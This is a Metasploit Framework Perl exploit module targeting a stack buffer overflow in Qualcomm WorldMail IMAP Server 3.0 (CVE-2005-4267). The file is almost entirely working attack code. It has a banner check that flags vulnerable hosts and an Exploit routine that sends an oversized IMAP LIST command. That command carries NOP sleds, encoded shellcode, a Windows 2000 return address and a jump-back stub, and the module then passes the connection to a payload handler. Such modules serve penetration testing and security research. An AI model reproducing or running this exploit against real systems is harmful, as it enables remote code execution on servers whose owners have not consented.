eudora_imap.pm.txt

`##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##  
  
package Msf::Exploit::eudora_imap;  
use strict;  
use base 'Msf::Exploit';  
use Msf::Socket::Tcp;  
use Pex::Text;  
  
my $advanced = {  
};  
  
my $info = {  
'Name' => 'Qualcomm WorldMail IMAPD Server Buffer Overflow',  
'Version' => '$Revision: 1.1 $',  
'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],  
'Arch' => [ 'x86' ],  
'OS' => [ 'win32', 'win2000'],  
'Priv' => 1,  
  
'UserOpts' =>  
{  
'RHOST' => [1, 'ADDR', 'The target address'],  
'RPORT' => [1, 'PORT', 'The target port', 143],  
},  
  
'AutoOpts' => { 'EXITFUNC' => 'process' },  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00",  
'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",  
},  
  
'Encoder' =>  
{  
'Keys' => ['+alphanum'],  
},  
  
'Description' => Pex::Text::Freeform(qq{  
This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server   
version 3.0 (build version 6.1.22.0).  
}),  
  
'Refs' =>  
[  
['CVE', '2005-4267'],  
['BID', '15980'],  
],  
  
'Targets' =>  
[  
['Windows 2000 Pro English ALL', 0x75022ac4],  
],  
  
'DefaultTarget' => 0,  
  
'Keys' => ['imap'],  
  
'DisclosureDate' => 'Dec 20 2005',  
};  
  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);  
  
return($self);  
}  
  
sub Check {  
my ($self) = @_;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
'LocalPort' => $self->GetVar('CPORT'),  
'SSL' => $self->GetVar('SSL'),  
);  
  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return $self->CheckCode('Connect');  
}  
  
$s->Send("A023 LOGOUT\r\n");  
my $res = $s->Recv(-1, 20);  
$s->Close();  
  
if ($res !~ /WorldMail 3 IMAP4 Server 6\.1\.22\.0 ready/) {  
$self->PrintLine("[*] This server does not appear to be vulnerable.");  
return $self->CheckCode('Safe');  
}  
  
$self->PrintLine("[*] Vulnerable installation detected :-)");  
return $self->CheckCode('Detected');  
}  
  
sub Exploit {  
my $self = shift;  
my $targetHost = $self->GetVar('RHOST');  
my $targetPort = $self->GetVar('RPORT');  
my $targetIndex = $self->GetVar('TARGET');  
my $encodedPayload = $self->GetVar('EncodedPayload');  
my $shellcode = $encodedPayload->Payload;  
my $target = $self->Targets->[$targetIndex];  
  
my $sock = Msf::Socket::Tcp->new(  
'PeerAddr' => $targetHost,  
'PeerPort' => $targetPort,  
);  
  
if($sock->IsError) {  
$self->PrintLine('Error creating socket: ' . $sock->GetError);  
return;  
}  
  
my $resp = $sock->Recv(-1, 3);  
chomp($resp);  
$self->PrintLine('[*] Got Banner: ' . $resp);  
my $resp = $sock->Recv(-1, 3);  
if($sock->IsError) {  
$self->PrintLine('Socket error: ' . $sock->GetError);  
return;  
}  
  
$self->PrintLine('[*] Sending overflow...');  
  
my $jmpback =  
"\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28".  
"\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d".  
"\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b";  
  
my $sploit =  
"a001 LIST ". $self->MakeNops(20). $shellcode.  
"\xeb\x06\x46\x92". pack('V', $target->[1]). $self->MakeNops(8).  
$jmpback. $self->MakeNops(40). "}". "\r\n";  
  
$sock->Send($sploit);  
  
my $resp = $sock->Recv(-1, 3);  
if(length($resp)) {  
$self->PrintLine('[*] Got response, bad: ' . $resp);  
}  
  
$self->Handler($sock);  
$sock->Close();  
return;  
}  
  
1;  
`